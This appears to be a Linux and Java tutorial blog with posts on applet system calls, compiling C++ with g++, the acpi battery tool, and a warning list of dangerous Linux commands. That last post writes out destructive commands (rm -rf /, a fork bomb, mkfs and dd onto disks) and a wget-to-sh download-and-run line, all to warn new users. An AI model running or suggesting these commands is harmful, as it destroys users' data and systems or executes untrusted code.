Showing posts with label linux commands. Show all posts
Showing posts with label linux commands. Show all posts

Friday, January 11, 2013

EXECUTE COMMAND’S AND APPLICATION IN APPLET THROUGH SYSTEM CALL


Some time it’s become very difficult to access any application or to execute commands in java applet. And many of us don’t know how to do this, so I am going to explain how to access or execute any command in Applet. Consider the following program, when you execute it, it will directly open a Firefox application, and you can also replace it with any commands of Linux or windows.

import java.awt.*;                                                              // Packages
import java.io.IOException;
import java.io.InputStream.*;
import java.awt.event.*;
import java.applet.*;
public class Firefox extends Applet
{
            String command="firefox";
   public void init()
   {
              // Construct the button
                  Button browser = new Button("Browser");
             // add the button to the layout
                 this.add(browser);
             // specify that action events sent by this
                   browser.addActionListener(new BeepAction());
              try
             {
                        Runtime.getRuntime().exec(command);
             }
              catch (IOException e)
             {
                        e.printStackTrace();
             }
      }
}

If you don’t have any idea about Applet programming then just follow the following link and just downloads PDF files as per your requirement.

Every Java application has a single instance of class Runtime that allows the application to interface with the environment in which the application is running. The current runtime can be obtained from the getRuntime method.
Prints the throwable and the throwable’s call trace. The call stack shows the sequence of method calls that brought you to the point at which exception was thrown.

The first version prints to standard error, the second prints to a stream of your choice. If you’re working under Windows, you can’t redirect standard error so you might want to use the second version and send the results to System.out; that way the output can be redirected any way you want.

Saturday, December 22, 2012

Compile and execute C++ program on Linux



The Borland Turbo C++ compiler which works on Windows operating System, does not have all the capabilities of C++ programming. The core C++ compiler is present on Linux operating System. The gcc is bundled with the compiler of C++ too. It is basically GNU C/C++ Compiler Collection. You may use g++ compiler to compiler your C++ program file on Linux.

Let's see, how to do it.

1.      Open any text editor such as gedit, vi, vim, or emacs and types your program in it. Save the file with extension .cpp. It is required to identify that the file contains C++ code.
2.      You need to write this code in pure C++ format. Look at the program no.1, which is written for Turbo C++ compiler and program no. 2 is written for gcc/g++ compiler.

#include<iostream.h>
class Add
{
public:
int calculate(int a, int b)
{
return a + b;
}
};
void main()
{
int x, y, z;
Add a;
cout<<"Enter two numbers: ";
cin>>x>>y;
z = a.calculate(x, y);
cout<<"\nAddition is: "<< z <<endl;
}
Program 1: Written for Turbo C++ Compiler.


#include<iostream>      //Line-1
using namespace std;    //Line-2
class Add
{
public:
int calculate(int a, int b)
{
return a + b;
}
};
int main()              //Line-3
{
int x, y, z;
Add a;
cout<<"Enter two numbers: ";
cin>>x>>y;
z = a.calculate(x, y);
cout<<"\nAddition is: "<< z <<endl;
}
Program 2: Written for Linux g++ compiler.

3.      Look at the changes made in the second program, which is written for g++ compiler. In line number-1 #include<iostream> is written instead of #include<iostream.h>. All C++ related header files must be included in this fashion only. If C programming header files such as stdio.h are required then these are included as usual fashion such as #include<stdio.h>.
4.    The Line-2 is an extra line in program-2. It is pure C++ statement. In C++, namespaces allow to group entities like classes, objects and functions under a name. This way the global scope can be divided in "sub-scopes", each one with its own name. The keyword 'using' is used to introduce a name from a namespace into the current declarative region. All the files in the C++ standard library declare all of its entities within the std namespace. That is why we have generally included the using namespace std; statement in all programs that used any entity defined in iostream.
5.      The robust compiler like g++ says that your main() function must return only 'int', it must not be void. It is compulsory to return the int from main().
6.      In order to compile the program use command g++ on the terminal:

g++ add.cpp             [Command-1]

7.      It will compile the file, check for the errors, prints on screen if any and generates an a.out output file. The a.out is default output file name of g++ compiler. You may change it by providing -o option to the command such as,

g++ add.cpp -o addition [Command-2]

8.      Now, this will generate output executable file by name 'addition'.
Now execute the file as,

./a.out                 [Command-1 output]
./addition              [Command-2 output]

9.      Your program will get executed and generate output.

Enter two numbers: 56 41
Addition is: 97

Saturday, December 1, 2012

Check you laptop battery and thermal status in Linux



Advanced Configuration and Power Interface (ACPI) specification provides an open standard for device configuration and power management by the operating system. First released in December 1996, ACPI defines platform-independent interfaces for hardware discovery, configuration, power management and monitoring. The specification is central to Operating System-directed configuration and Power Management (OSPM), a system implementing ACPI, which removes device management responsibilities from legacy firmware interfaces.
The standard was originally developed by Intel, Microsoft and Toshiba, and were later joined by HP, and Phoenix. The latest version is "Revision 5.0", which was published on November 23, 2011.
ACPI aims to consolidate, check and improve upon existing power and configuration standards for hardware devices. It provides a transition from earlier standards to entirely ACPI-compliant hardware, with some ACPI operating systems already removing support for legacy hardware. With the intention of replacing Advanced Power Management, the MultiProcessor Specification and the Plug and Play BIOS Specification, the standard brings power management under the control of the operating system (OSPM), as opposed to the previous BIOS-central system, which relied on platform-specific firmware to determine power management and configuration policy. [Reference: Wikipedia, see this link].
If you are working with any GNU/Linux operating system then you may use the command ‘acpi’ to see the laptop battery status and other acpi information. It displays information about the ACPI (Advanced Configuration and Power Interface) system, based on the /proc/acpi file. Most GNU/Linux systems doesn’t contain this command by default. Install it by using:

sudo apt-get install acpi

Picture-1 Installatiom of 'acpi'
As shown in the picture above, the acpi will be downloaded from Ubuntu website and installed on your system. It nearly takes 70.7 KB after installation. Now you may use the command by its various options, as listed below.

Picture-2 Using 'acpi' and options
 -b, --battery
          Display battery information.
-B, --without-battery
          Do not display battery information.
-t, --thermal
          Display temperature information.
-T, --without-thermal
          Do not display temperature information.
-a, --ac-adapter
          Show whether the AC adapter is connected.
-A, --without-ac-adapter
          Do not show information about the AC adapter.
-V, --everything
          Show all information on every device.
-s, --show-empty
          Display information even on devices that are not available or not installed, such as empty slots for extra batteries.
-S, --hide-empty
       Do not display information on devices that are not operational or not installed.
-c, --Celsius
          Use degrees Celsius as the temperature unit. This is the default unit.
-d, --directory /path
          Use the specified path to ACPI information. The default path is /proc/acpi.
-f, --Fahrenheit
          Use degrees Fahrenheit as the temperature unit.
-h, --help
          Displays help information.
-k, --kelvin
          Use degrees Kelvin as the temperature unit.
-v, --version
          Display version information.

Try this command. It is very interesting and useful too.

Wednesday, September 26, 2012

Commands that Should Never Run on Linux

There are some commands which a user should not run on Linux, because these commands can harm and destroy many things which are very important for the system. These problems are faced mostly by the new users of Linux. They run any commands on the terminal as they don’t have the knowledge about the Linux, and these commands cause them a lot. And the main thing is that the terminal never shows the warning message before we wish to run any commands on Linux terminal. So the care must be taken by the users before running any commands on Linux terminal.
So, some of the commands are as follows:
·         rm –rf/          :- DELETES EVERYTHING
The above command deletes everything which can be possible. Like the files on hard drives and attached removable device to the system.

rm      :This is for removing the files.
-rf       :Run rm recursively i.e.it forcibly deletes the file and folder inside the specified folder without doing the confirmation.
/     -It says to start with the root directory.

The other commands like rm –rf~ will delete the files and folders of Home and the command rm –rf* will delete the configuration files.

·         :(){:|: &};:       :- FORK
The above command will creates the replica of itself .The process goes on and the duplicate copies also starts to create the replica of itself. This will take all the CPU time and memory.

·         mkfs.ext4/dev/sda1          :- FORMATS A HARD DRIVE
The above command will format the hard drive

mkfs.ext4      :This create a new ext4 file system on the following device.
dev/sda1      :This specifies the first partition of the hard drive.

This command will format the c:drive of the windows i.e. this will replace the first partition of the hard drive with the new file system. Similarly mkfs.ext3/dev/sda2 will format the second partition of the hard drive.

·         dd if=/dev/random of=/dev/sda :-WRITES THE GARBAGE ON THE HARD
                                                                  DRIVE



This command will write the garbage values on to the hard drive.

dd=  : This part of the command performs the low level copying from one      
location to another.
if=/dev/random    -Use /dev/random as the input.
of=/dev/sda           -This outputs to the first hard disk causing to replace the file
                                     system with the random garbage values.

·         mv~/dev/null :-MOVES THE HOME DIRECTORY TO BLACK HOLE
This command moves the file to /dev/null which is the special location. The moving of file to null location is similarly to destroying the files. This will move the files to /dev/null location as well it deletes the original copies.

mv     – This moves the file or folders to another location.
~         -This represents the entire home folder.
/dev/null    -Move the home folder to the /dev/null location.

·         command>/dev/sda :-WRITES DIRECTLY ON THE HARD DRIVE
The above command will run the command part and the output of that command is send directly to the hard drive. This directly writes the data onto the hard drive thus damaging the file system.

command  -This runs any command.
             >    - Sends  the output of the command to following path.
             /dev/sda  -This writes the output of the command directly onto the hard disk.

·         wget http://example.com/something –o -|sh  :-DOWNLOADS AND RUN                     THE SCRIPT
This command downloads the script file which is mentioned, from the web and sends to sh, which executes the contents of the script. This can be harmful if we are not sure about the script code and its source. So we should not download from any unauthorized source.

wget  -Downloads the file.
http://example.com/something  -Download the file from this specified location.
| - This is the pipe which sends the output of the wget command i.e. the                    downloaded file.
sh – The file is sent to the sh command and it executes the file.

The user must have the complete knowledge about the command he wishes to run on the terminal. So he can himself, judge out the output and causes of the command. Otherwise, he has to face lots of consequences.